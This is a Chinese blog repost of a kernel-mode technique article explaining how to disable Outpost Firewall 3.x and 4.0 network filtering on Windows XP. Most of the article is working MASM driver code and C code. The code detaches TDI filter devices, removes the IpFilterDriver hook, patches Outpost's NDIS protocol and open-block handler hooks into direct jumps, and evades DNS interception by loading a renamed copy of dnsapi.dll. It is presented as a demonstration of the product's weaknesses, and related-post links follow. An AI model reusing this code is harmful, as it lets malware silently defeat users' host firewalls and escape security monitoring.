在Kernel mode下绕过Outpost Firewall 3.x和4.0

OutpostFirewall软件使用(13) 我们介绍的Outpost Firewall软件属于个人软件防火墙类别,它可以根据自定义的源/目的IP、端口等信息来阻断本机的网络通信;也可以根据应用进程来阻断通信。不仅如此,它还具有间谍软件扫描、邮件扫描、广告过滤等功能,可谓是一款功能十分强悍的轻量级网络防火墙软件。 阅读详情
在Kernel mode下绕过Outpost Firewall 3.x和4.0

我来讲一下如何绕过最为流行的防火墙。此防火墙在设置上伸缩性很大,可免受代码注入(Inject),有组件控制,所以在ring-3下想绕过它就有些难度了:Inject倒不是不可以,但由于网络工作需要,得编写base independent的代码,还有其它的hemorrohoids(痔疮);)。我主张转移到底层,到ring-0,这样想干什么就能干什么 :)。我们这里要研究的版本是3.x和4.0。我这里只涉及对Outpost网络部分的绕过,而Outpost其它方面的功能这里就不讨论了。注意:下面给出的代码是在Windows XP上编写并测试通过的,不能用于其它版本的Windows(见每个OS版本的NDIS_PROTOCOL_BLOCK)。

Outpost Firewall,在内核里有四种不同层次的保护措施:

1. TDI层的拦截。拦截发向以下设备的通讯:/Device/Ip, /Device/RawIp, /Device/Tcp和/Device/Udp。方法是创建并连接自己的设备来接收并过滤应用程序对这些设备的调用。

2. IpFilterDriver层的拦截。这种方法在Windows XP+是documented的,在内核里过滤数据包(即不依赖NDIS与TDI拦截)。

3. NDIS层的拦截。
       * 拦截NDIS-Protocol的创建删除函数:NdisRegisterProtocol, NdisDeregisterProtocol。
       * 拦截Adapter的打开关闭函数:NdisOpenAdapter, NdisCloseAdapter。
   
4. 对发向DNSAPI(只在4.0版中有)的通讯的拦截。

最复杂的要数对NDIS层拦截的摘除。我们下面来依次研究:

1) 对TDI层拦截的摘除对那些熟悉内核对象体系并能熟练操作对象的人来说并不困难。拦截发向设备/Device/Ip, /Device/RawIp, /Device/Tcp和/Device/Udp的通讯是通过创建伪设备来实现的。创建设备后再调用IoAttachDevice将设备连接到设备栈上。ring3应用程序在与TDI服务通讯时,会建立IRP包并按栈中顺序逐个调用。首先调用Outpost的服务,然后是其它的。我们的任务很简单,就是将firewall的设备从相关的设备栈的链表中剔除。但是我们知道,Outpost进行拦截之前没有任何设备连接(attach)到Ip, Tcp, Udp, RawIp,所以我们取得指向设备DEVICE_OBJECT结构体的指针后只需并简单地将AttachedDevice域清零,这样我们就清除了所有对TDI的filters。成了!现在IRP包就直接发到驱动程序Tcpip.sys中,之后它就哪儿也不去了。实现代码如下:

    LOCAL    TcpipDrvObj        :PDRIVER_OBJECT
   
    ...

    invoke    ObReferenceObjectByName, $CCOUNTED_UNICODE_STRING("//Driver//Tcpip"), OBJ_CASE_INSENSITIVE, NULL, 0, /
                IoDriverObjectType, KernelMode, NULL, addr TcpipDrvObj
    test    eax, eax
    jnz    @ret
   
    mov    eax, TcpipDrvObj
    mov    ebx, (DRIVER_OBJECT ptr [eax]).DeviceObject
   
    assume    ebx : ptr DEVICE_OBJECT                ; EBX -> 当前设备
   
    ; 枚举Tcpip.sys的所有设备:
    ; /Device/Ip, /Device/RawIp, /Device/Tcp, /Device/Udp, /Device/IPMULTICAST
   
@enum_devices:
    and    [ebx].AttachedDevice, 0                ; 摘除对其的拦截
   
    mov    ebx, [ebx].NextDevice
    test    ebx, ebx
    jnz    @enum_devices

    assume    ebx : nothing
   
    invoke    ObDereferenceObject, TcpipDrvObj

Outpost不进行检查,也就不知道它的设备已经不在栈里了,所以反拦截就完成了。用同样的方法几乎可以清除所有TDI-Firewalls所设的拦截(当然前提是它们不检查自己放在设备栈里的设备,不然就要再多费些事了)。

2) IpFilterDriver是Windows内建防火墙所使用的驱动程序。通过这个服务可以监视数据包并在内核中对其进行过滤。使用FILTNT.SYS里的IpFilterDriver进行过滤的初始化过程如下:

a) 加载驱动程序ipfltdrv.sys:

    UNICODE_STRING RegPath;
   
    RtlInitUnicodeString(&RegPath, L"//Registry//Machine//System//CurrentControlSet//Services//IpFilterDriver");
    ZwLoadDriver(&RegPath);

b) 取得设备/Device/Ipfilterdriver的指针:

    PFILE_OBJECT IpFilterFileObj;
    PDEVICE_OBJECT IpFilterDevObj;
    UNICODE_STRING DevPath;
   
    RtlInitUnicodeString(&DevPath, L"//Device//IPFILTERDRIVER");
    IoGetDeviceObjectPointer(&DevPath, STANDARD_RIGHTS_ALL, &IpFilterFileObj, &IpFilterDevObj);

c) 创建IRP包, 并发向设备:

    PIRP pIrp;
    DWORD InBuff = (DWORD)&FilterProc;

    pIrp = IoBuildDeviceIoControlRequest(IOCTL_PF_SET_EXTENSION_POINTER, IpFilterDevObj, &InBuff, 4, 0, 0, 0, 0, 0);
    IoCallDriver(IpFilterDevObj, pIrp);

其中FilterProc - callback函数在接收和传递数据包时被调用,以决定此数据包是pass还是drop。DDK记载,如果为这个函数指针传递NULL,就会将处理函数移除。同样,Outpost在这里也没有好好照看自己的处理程序,我们可以轻松地搞掉它:

    LOCAL    IpFilterFileObj        :PFILE_OBJECT
    LOCAL    IpFilterDevObj    :PDEVICE_OBJECT
    LOCAL    InBuff            :DWORD
   
    ...
   
    invoke    IoGetDeviceObjectPointer, $CCOUNTED_UNICODE_STRING("//Device//Ipfilterdriver"), /
                GENERIC_READ or GENERIC_WRITE or SYNCHRONIZE, addr IpFilterFileObj, addr IpFilterDevObj
    test    eax, eax
    jnz    @ret
   
    and    InBuff, 0
   
    invoke    IoBuildDeviceIoControlRequest, IOCTL_IP_SET_FIREWALL_HOOK, IpFilterDevObj, addr InBuff, 4, 0, 0, 0, 0, 0
    test    eax, eax
    jz    @ret
   
    invoke    IoCallDriver, IpFilterDevObj, eax

3) 最复杂繁重的部分就要数摘除系统中所有的NDIS-Protocol(NDIS_PROTOCOL_BLOCK结构体)拦截了,还包括打开的block(NDIS_OPEN_BLOCK结构体)。NDIS_OPEN_BLOCK结构体定义在DDK里的ndis.h里,但却没有NDIS_PROTOCOL_BLOCK的定义。经过多方挖掘,结合在调试器中对此结构体的观察,不难猜到它是隐藏的 ;) 我注意到,这个结构体在不同版本的Windows中是不一样的。在系统中存在着一个NDIS-Protocol的链表,NDIS-Protocol的表现形式为NDIS_PROTOCOL_BLOCK结构体。每个NDIS-Protocol都export出了自己的处理函数,而这些处理函数则是在某些事件发生时被调用:例如,在绑定设备和协议时,在接受或删除数据包时等等。模块NDIS.SYS中还有一个未导出的变量ndisProtocolList,这个变量指向最后一个注册的Protocol(链表中的第一个)。查找这个变量的位置没有什么意义,我这里有一个麻烦但对各版本OS都有效的办法:我们注册一个空的Protocol,这只是为了取得指向链表中下一个Protocol的指针并将其删除。在注册完Protocol之后所取得的NDIS_HANDLE就指向了我们创建的NDIS_PROTOCOL_BLOCK结构体:

    LOCAL    NdisProto            :NDIS_PROTOCOL_CHARACTERISTICS
    LOCAL    NdisStatus            :NDIS_STATUS
    LOCAL    NdisProtoHandle        :NDIS_HANDLE
   
    ...
   
    lea    edi, NdisProto
    mov    ecx, sizeof NdisProto
    xor    eax, eax
    rep    stosb
   
    mov    NdisProto.MajorNdisVersion,        4
    mov    NdisProto.BindAdapterHandler,    BindAdapterStub
    mov    NdisProto.UnbindAdapterHandler,    UnbindAdapterStub

    ; 注册NDIS-Protocol以获得指向Protocol链表的指针

    invoke    NdisRegisterProtocol, addr NdisStatus, addr NdisProtoHandle, addr NdisProto, sizeof NdisProto
    cmp    NdisStatus, NDIS_STATUS_SUCCESS
    jnz    @ret
   
    mov    ebx, NdisProtoHandle        ; EBX -> 当前Protocol
    assume    ebx : ptr NDIS_PROTOCOL_BLOCK
    mov    ebx, [ebx].Next                ; 很可能指向TCPIP_WANARP
   
    invoke    NdisDeregisterProtocol, addr NdisStatus, NdisProtoHandle

当系统处于干净状态的时侯,几乎总是有以下Protocol:NDISUIO, TCPIP_WANARP, TCPIP, NDPROXY, PSCHED, RASPPPOE, NDISWAN,每一个都执行不同的任务。例如,Outpost创建自己的Protocol来进入链表:(VFILT)。还有一个例子:sniffer CommView创建Protocols:TSCOMM和CV2K1。想进一步了解NDIS的话,请使用NdisMonitor程序。在注册/删除Protocol之后,我们就有了指向链表中第一个Protocol的指针(如果没有sniffer或其它工作在NDIS层的程序的话,会是TCPIP_WANARP)。NDIS_PROTOCOL_BLOCK结构体包含有指向Protocol Handlers的指针,而Outpost拦截的就是这些Handlers。为了能支持可变数量的Protocol,拦截形式如下:

- 分配内存

- 记录Protocol的某些特征数据。FILTNT.SYS内部的handler中有个call(opcode 0E8h),其中包含有以下指令:

Outpost 3.x:

    pop    eax
    push   [eax]        ; 真正的handler
    pushad
    push   [eax+4]
    push   [esp+28h]
    jmp    [eax+8]

Outpost 4.0:

    pop    eax
    add    eax, 3
    push   [eax]        ; 真正的handler
    pushad
    push   [eax+4]
    push   [esp+28h]
    jmp    [eax+8]

- 在分配好的内存地址建立真正handler的替换程序。

经过研究发现,实际的拦截处理程序位于所分配内存的偏移+8处(Outpost 4.0)或者是+5处(Outpost 3.x)。通过指令add eax, 3可以很容易地区分4.0版和3.x版。在每个Protocol中Outpost都拦截了下面这些函数:

  OpenAdapterCompleteHandler
  SendCompleteHandler
  TransferDataCompleteHandler
  RequestCompleteHandler
  ReceiveHandler
  StatusHandler
  ReceivePacketHandler
  BindAdapterHandler
  UnbindAdapterHandler

在结构体NDIS_OPEN_BLOCK中包含着指向与Protocol相关联的具体adapter的handler的指针。每个Protocol可以关联几个adapter,它们的open block都被链成了一个链表。指向第一个NDIS_OPEN_BLOCK结构体的指针包含在NDIS_PROTOCOL_BLOCK.OpenBlock里。NDIS_OPEN_BLOCK结构体是在调用NdisOpenAdapter的时候创建的,所以Outpost拦截了这个函数。在NDIS_OPEN_BLOCK中拦截了以下这些handlers:

Outpost 3.x:

  SendHandler
  TransferDataHandler
  SendCompleteHandler
  TransferDataCompleteHandler
  ReceiveHandler
  RequestCompleteHandler
  ReceivePacketHandler
  SendPacketsHandler
  StatusHandler

Outpost 4.0:

  SendCompleteHandler
  TransferDataCompleteHandler
  ReceiveHandler
  ReceivePacketHandler
  StatusHandler

大概程序作者觉得在3.x中搞的拦截有点太多了,其实拦5个就足够了。现在目的就明确了:绕过所有的Protocol,在每个Protocol中都摘除对其的拦截;在每个Protocol中绕过所有的open blocks并摘除对其的拦截。但是事情并不是像对付TDI和IpFilterDriver拦截那样那么简单的。我们不能简单地用自己的handlers去替换firewall的,因为firewall创建的线程时刻扫描着Protocols和open blocks并恢复拦截。并且如果Outpost 3.x在检查Protocol时遇到了未被拦截的handler(或是被摘除拦截的handler),它就会傻傻地从结构体中取出地址并再次建立拦截。这曾一度成为了我的心头一患。那个Outpost 4.0为每个Protocol都保存了handler,并能正确地恢复拦截。有了!:P 如果没有影响到handler指针,并用call来代替Outpost的handler,在实际的handler后面放上一个jmp,就可以如愿以偿。Outpost并不检查其拦截是否发生变化。为了摘除具体handler的拦截,我编写了个函数:

RemoveNdisProcHook proc Handler :PVOID

    mov    ecx, Handler
    jecxz    @ret
   
    cmp    byte ptr [ecx], 0E8h            ; 在起始处应该有个call
    jnz    @ret
   
    mov    edx, [ecx+1]                ; call的偏移
    lea    edx, [ecx+edx+5]            ; EDX指向call调用的去向
   
    .if dword ptr [edx] == 03C08358h        ; 起始处有: pop eax / add eax, 3 - 是Outpost 4.0 
   
        mov    edx, [ecx+8]
       
    .elseif    dword ptr [edx] == 6030FF58h    ; 起始处有: pop eax / push [eax] / pushad - 是Outpost 3.x
       
        mov    edx, [ecx+5]
    .else
   
        jmp    @ret
    .endif
   
    ; EDX里的是实际handler的地址
   
    mov    byte ptr [ecx], 0E9h            ; 我们把call换成jmp
    sub    edx, ecx
    sub    edx, 5
    mov    [ecx+1], edx                ; 现在就直接jmp到实际的handler了
   
@ret:
    ret

RemoveNdisProcHook endp

喏,终于到了最后一步了:

    assume    ebx : ptr NDIS_PROTOCOL_BLOCK
   
    ...

    ; 枚举所有已注册的NDIS-Protocol
   
@enum_protocols:

    ; 删除对NDIS-Protocol handlers的拦截
   
    invoke    RemoveNdisProcHook, [ebx].OpenAdapterCompleteHandler
    invoke    RemoveNdisProcHook, [ebx].SendCompleteHandler
    invoke    RemoveNdisProcHook, [ebx].TransferDataCompleteHandler
    invoke    RemoveNdisProcHook, [ebx].RequestCompleteHandler
    invoke    RemoveNdisProcHook, [ebx].ReceiveHandler
    invoke    RemoveNdisProcHook, [ebx].StatusHandler
    invoke    RemoveNdisProcHook, [ebx].ReceivePacketHandler
    invoke    RemoveNdisProcHook, [ebx].BindAdapterHandler
    invoke    RemoveNdisProcHook, [ebx].UnbindAdapterHandler
   
   
    mov    esi, [ebx].OpenBlock                ; ESI -> 当前的Open Block
    test    esi, esi
    jz    @next
   
    assume    esi : ptr NDIS_OPEN_BLOCK
   
    ; 枚举此Protocol所有的Open Block
   
    @enum_open_blocks:
   
        ; 删除对Open Block handlers的拦截
       
        invoke    RemoveNdisProcHook, [esi].SendHandler
        invoke    RemoveNdisProcHook, [esi].TransferDataHandler
        invoke    RemoveNdisProcHook, [esi].SendCompleteHandler
        invoke    RemoveNdisProcHook, [esi].TransferDataCompleteHandler
        invoke    RemoveNdisProcHook, [esi].ReceiveHandler
        invoke    RemoveNdisProcHook, [esi].RequestCompleteHandler
        invoke    RemoveNdisProcHook, [esi].ReceivePacketHandler
        invoke    RemoveNdisProcHook, [esi].SendPacketsHandler
        invoke    RemoveNdisProcHook, [esi].StatusHandler
   
   
        mov    esi, [esi].ProtocolNextOpen
        test    esi, esi
        jnz    @enum_open_blocks
       
    assume esi : nothing

@next:
    mov    ebx, [ebx].Next
    test    ebx, ebx
    jnz    @enum_protocols
   
    assume    ebx : nothing

4) Outpost的三种主要的过滤方法都已经被摘除了。对于3.x版来说就足够了,但是在4.0版的Outpost里添加了对应用程序的DNS-request的拦截。程序作者脑子里也没什么更好的办法,只是捕捉住了DNSAPI.DLL的加载。DNSAPI.DLL是个usermode的DLL,执行域名->地址(以及反方向)的转换功能,MX服务的请求和许多其它功能。对gethostbyname()的调用会加载这个库,并显示防火墙的窗口。在这个窗口中应用程序尝试执行DNS-request。要绕过它甚至不需要内核代码。但是会拒绝gethostbyname(),gethostbyaddr()以及其它函数:需要把system32/dnsapi.dll库拷贝到随便什么地方去,以其它的名字加载它,取得指向DnsQuery_A函数的指针并进行DNS-request。Outpost对此完全没有反应,因为它只检查所加载的模块的名字。更合逻辑的做法本应该是使用端口53截断应用程序通讯,而不只是建立对DNSAPI.DLL的Hook。当然可能是在beta版中拿掉的,但其实这样不正确的“保护”措施是从一开始就选定的。我相信这种所谓的“保护”今后还会用下去的。下面是我对"gethostbyname()"的实现:

    typedef DNS_STATUS (WINAPI *DNS_QUERY)(
      PCSTR lpstrName,
      WORD wType,
      DWORD fOptions,
      PIP4_ARRAY aipServers,
      PDNS_RECORD* ppQueryResultsSet,
      PVOID* pReserved
    );


    typedef void (WINAPI *DNS_RECORD_LIST_FREE)(
      PDNS_RECORD pRecordList,
      DNS_FREE_TYPE FreeType
    );

    ...

    char buf[256], buf2[256];
    PDNS_RECORD            pRec;
    DNS_QUERY            pDnsQuery;
    DNS_RECORD_LIST_FREE    pDnsRecordListFree;
    HINSTANCE                hLib;
   

    GetTempPath(sizeof(buf), buf);
    strcat(buf, "xxxxx.dll");

    GetSystemDirectory(buf2, sizeof(buf2));
    strcat(buf2, "//dnsapi.dll");

    CopyFile(buf2, buf, FALSE);

    if ((hLib = LoadLibrary(buf)) &&
        (pDnsQuery = (DNS_QUERY)GetProcAddress(hLib, "DnsQuery_A")) &&
        (pDnsRecordListFree = (DNS_RECORD_LIST_FREE)GetProcAddress(hLib, "DnsRecordListFree")))
    {
        if (!pDnsQuery("wasm.ru", DNS_TYPE_A, DNS_QUERY_STANDARD, NULL, &pRec, NULL))
        {
            sprintf(buf, "WASM.RU IP Address: %s", inet_ntoa(*(in_addr*)&pRec->Data.A.IpAddress));
            MessageBox(0, buf, "Outpost DnsDetour", MB_ICONINFORMATION);

            pDnsRecordListFree(pRec, DnsFreeRecordList);
        }
        else
            MessageBox(0, "Can't get WASM.RU IP Address!", "Outpost DnsDetour", MB_ICONINFORMATION);

        FreeLibrary(hLib);
    }

    DeleteFile(buf);

Outpost中用到的所有类型的拦截就都被摘除了。现在任何应用程序都能无障碍地使用网络了。甚至把Outpost设置成“阻止所有连接”都没问题。

我的目标可不是绕过所有类型的Firewall(否则就天下大乱了 :P),就是想演示Outpost的缺陷——用非常简单的内核代码就能把它废掉(还有新beta版里的保护DNS-resolving的曲线法)。在创建连接过程中,Outpost 4.0将在日志中记录“未定义规则”,因为拦截被摘除,而打开的端口和连接的列表还在。在3.x中将完全看不到连接。理想的解决办法就是不要只简单地摘除拦截,而要让Firewall允许某些程序使用网络,而在其它情况下将控制权转给Outpost并隐藏某些打开的端口和连接。

值得一提的是,在摘除Hook之前,最好禁用掉中断, APC, DPC,这样摘除Hook的操作就不会被打断。在本文所附程序的archive中可以找到源代码和编译好的驱动,同时还有针对Outpost 4.0的通过名称确定IP的例子。

[C] MaD
http://www.wasm.ru/article.php?article=outpostk
 
防火墙的原理、主要技术、部署及其优缺点 防火墙的原理、主要技术、部署及其优缺点。十大防火墙 阅读详情

相关推荐

俄罗斯防火墙 Outpost Firewall 9

别的不说,它的IP阻止列表,是相当有效。本人在使用wiresharp的过程中,试了许多工具,包括Comodo,windows自带的防火墙,国内的瑞星,360连UDP包都拦不住。还是老毛子强大啊。内附注册码

Outpost防火墙配置技巧四则

Outpost Firewall件是Windows平台领先的防火墙专业软件之一,它的配置和使用虽然比Windows XP自带或某些防火墙稍微复杂和繁琐,但经过笔者多年的使用其安全性绝非浪得虚名,值得向大家推荐。在配置Outpost Firewall时,有以下四则小技巧是笔者总结的经验,希望能帮助大家用好Outpost Firewall,构筑起您电脑的安全长城。技巧一:解决汉化后Spywar

冯强优快云博客 5963

OutPost FireWall 汉化补丁

OutPost FireWall Outpost Firewall Pro 2008 v6.0.2293.253.0490 26.03M 2008-05-06 下载 中文汉化版

10款免费的PC版防火墙软件推荐

PC版防火墙软件是一种主要用于终端计算机系统的安全防护措施,不需要特定的网络设备支持,只要在终端用户所使用的计算机上安装软件即可。通过应用PC版防火墙软件,可以有效把用户的计算机和公共网络分隔开,对其中交互的数据进行安全检查,并对可疑的通信进行拦截,从而帮助用户对计算机系统进行监控和管理,防范计算机病毒、流氓软件、木马程序等威胁。在一些应用场景中,PC版防火墙软件可以在更经济的成本投入下,实现与网络防火墙产品接近的安全特性和防护能力,非常适合中小型企业和个人用户使用。

Galaxy_0的博客 9202

outpost 7.5汉化包

单纯的汉化包,不含安装软件,需要的另外下载,里面有汉化说明,使用前请注意查看

Outpost_Patch.exe Outpost Firewall Pro 汉化补丁

Outpost Firewall Pro 防火墙是世界顶级防火墙,拥有多种功能,可以很好的保护你的电脑。这款汉化补丁帮您免去不会操作英文版的烦恼

开源项目之防火墙 tdifw

tdifw是windows防火墙软件(TDI层驱动过滤),负责监控网络监听与连接、以及过滤信息。 源码在src目录, 程序在Bin目录,执行根目录下的批处理文件也可以, 具体步骤如下:  1. 运行install.bat  2. 根据你机器的配置情况,编辑%SystemRoot%\system32\drivers\etc\tdifw.conf配置文件  3. 重新启动计算机  主程序源

banketree 8661

数据包过滤研究与实现

基于过滤器钩子驱动的数据包过滤研究与实现,防火墙开发资料,使用系统API

免费防火更强大 十大免费防火墙软件大盘点

前不久,总结了目前“十大免费杀毒软件”。由于一般情况下免费杀毒软件是不带防火墙的,因此,现在特地搜索收集目前比较流行的防火墙,以便于使用免费杀毒软件的朋友搭配使用。免费杀毒软件+免费防火墙=互联网套装。   1、Comodo Firewall   Comodo Firewall免费防火墙当中的佼佼者,昔日霸主。目前Comodo基于其出色的防火墙技术还开发了新一代的安全互...

weixin_34401479的博客 4667

drv.rar_TDI Firewall_tdi driver_tdi 过滤_封包拦截_拦截驱动

驱动程序开发的例子,tdi防火墙源代码,数据封包的拦截,过滤等

Linux 使用rm -rf /*命令后,恢复系统方法

Linux 使用rm -rf /*命令后,恢复系统方法 个人学习记录 这里实验环境采用的是radhel7.1的版本: 个人认为核心就是缺失什么组件,就从别的地方复制什么组件过来,先把系统拉起来,再慢慢恢复配置 进入救援模式 1、将/dev/sda两个分区分别挂载看看,里面的内容,有内容的就是根存在的分区 2、ifconfig eno16777777 192.168.8.2 3、从另外一台一样系统的根 。用 tar打包,一个个文件夹拷贝过来 4、到坏系统,scp另外一个系统的etc.tar.gz 5

weixin_43603476的博客 1万+

OmegacmLabs: “Firewalls. Outpost Firewall Pro

OmegacmLabs: “Firewalls. Outpost Firewall Pro”Basic aims of this document.        In this document it will be briefly told about some features of firewall Agnitum Outpost Pro, initial representa

2168

G2O (General Graph Optimization)入门及简单使用

g2o全称是General Graph Optimization,也就是图优化,我们在做SLAM后端或者更加常见的任何优化问题(曲线拟合)都可以使用G2O进行处理。

晓晨的博客 1万+

基于TDI的防火墙tdifw原理分析(一)

构架分析

namelcx的专栏 2813

基于NXP1778的CAN自动波特率检测

一、概念 NXP1778芯片内部自带一个CAN控制器。CAN模块由两部分组成:控制器和验收滤波器。所有的寄存器和RAM都以32位字宽度来访问。 CAN自动波特率检测主要用于以一种CAN的转换的产品中。产品中CAN部分的波特率以前都是通过网页中修改然后配置下去的,依据实际情况的考虑,如果CAN部分的波特率能够根据客户设备的改变而自动改变,将会增加其灵活性。   二、原理 根据CAN控制器的

菜鸟的痕迹专栏 5273

长短期记忆网络(LSTM)预测模型及其Python和MATLAB实现

LSTM 通过独特的门控机制解决了传统 RNN 的梯度消失和梯度爆炸问题,使其在处理长序列时具有显著优势。随着技术的不断发展,LSTM 及其变种(如 Bi-directional LSTM、Stacked LSTM 等)有望在更复杂的任务中发挥重要作用。2. **可视化真实值和预测值**:通过绘图来比较真实值和预测值,判断模型的准确性。2. **输入门(Input gate)**:决定当前的输入信息对细胞状态的影响。1. **细胞状态(Cell state)**:保持信息在时间步之间的传递。

qq_45441438的博客 2056

Outpost Firewall 莫尼卡

一款短小精悍的网络防火墙软件,它的功能是同类PC软件中最强的,甚至包括了广告和图片过滤、内容过滤、DNS缓存等功能。它能够预防来自Cookies、广告、电子邮件病毒、后门、窃密软件、解密高手、广告软件和其它 Internet 危险的威胁。该软件不需配置就可使用,这对于许多新手来说,变得很简单。尤为值得一提的是,这是市场上第一个支持插件的防火墙,这样它的功能可以很容易地进行扩展。该软件资源占用也很小

gwy2002y的专栏 607

PyCharm配置SSH远程解释器第3步时弹框报错:com.google.gson.stream.MalformedJsonException: Expected value at l...如何解决?

🏆本文收录于 《全栈 Bug 调优(实战版)》 专栏。专栏聚焦真实项目中的各类疑难 Bug,从成因剖析 → 排查路径 → 解决方案 → 预防优化全链路拆解,形成一套可复用、可沉淀的实战知识体系。无论你是初入职场的开发者,还是负责复杂项目的资深工程师,都可以在这里构建一套属于自己的「问题诊断与性能调优」方法论,助你稳步进阶、放大技术价值 。

**My Coding Family** 1930

Outpost FirewallBT下载时变慢解决办法 附:下载

Outpost Firewall Pro ver. 4.0.971.7030 (584) 官方正式注册版   Outpost

Welcome to Vick's home! 1265

R语言使用caret包的confusionMatrix函数计算混淆矩阵、使用编写的自定义函数可视化混淆矩阵(confusion matrix)

R语言使用caret包的confusionMatrix函数计算混淆矩阵、使用编写的自定义函数可视化混淆矩阵(confusion matrix)

data+scenario+science+insight 3928

第三天:Python基础语法详解

Python代码规范与注释最佳实践 摘要: 本文深度解析Python缩进规则与代码结构的技术规范,包括缩进的底层原理、语法规则和错误处理。详细阐述Python注释系统,涵盖行内注释、文档字符串和类型注释等多种形式,并提供工业级代码组织方案。研究显示,良好的缩进可提升40%的代码识别速度,降低50%的认知负荷。文章还对比了Sphinx、pdoc等主流文档生成工具,给出企业级项目中的注释编写原则和模板建议,帮助开发者构建更可维护的Python代码。

本博客聚焦 YOLOv11 全流程落地,涵盖架构优化、数据集处理、训练技巧与多场景部署,兼及国产数据库、Java 开发与 AI 模型应用,内容兼顾理论与工程实践,为开发者提供系统干货,助力高效提升技术能力。 1013

国内外著名个人防火墙集锦

国内外著名个人防火墙集锦Kerio Personal Firewall 系统资源占用率很小,该有的功能都有,简单的基于规则设置的防火墙。不能支持server系统,对个人免费。KPF个人防火墙可以帮助用户控制同internet或者本地局域网络电脑进行数据交换,在一个组织内,KPF可以让单一的个人电脑避免来自内部用户的攻击。远程工作站或者安装有KPF的笔记本电脑可以避免来自internet的攻

Louis的专栏 7220

教师模型与学生模型:知识蒸馏的核心概念

知识蒸馏,教师模型,学生模型,模型压缩,迁移学习,深度学习 1. 背景介绍 深度学习模型在图像识别、自然语言处理等领域取得了显著的成就,但其巨大的模型规模和高昂的计算成本限制了其在资源有限的设备上的部署。知识蒸馏(Knowledge Distillation)作为一种模型压缩技术,旨

AI架构师小马 2772

Outpost Firewall Pro

-------------------------------------------------------------------------------- Outpost Firewall Pro注册码,Outpost防火墙终身注册码KEY/激活码/序列号    更新时间:2014-09-09   适用软件:Outpost Firewall Pro

技术、思维 2645

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

Outpost防火墙(Agnitum)

OutpostProInstall_CH(收费中文版) http://download.opch.net/OutpostProInstall_CH.exe http://download.opch.net/OutpostProInstall64_CH.exe     OutpostSecuritySuiteProInstall_CH (收费中文版) http://download.op...

liyuming566的博客 1972

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

上一篇: ZWSETSYSTEMINFORMATION过卡巴
下一篇: TDI过滤驱动摘除
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值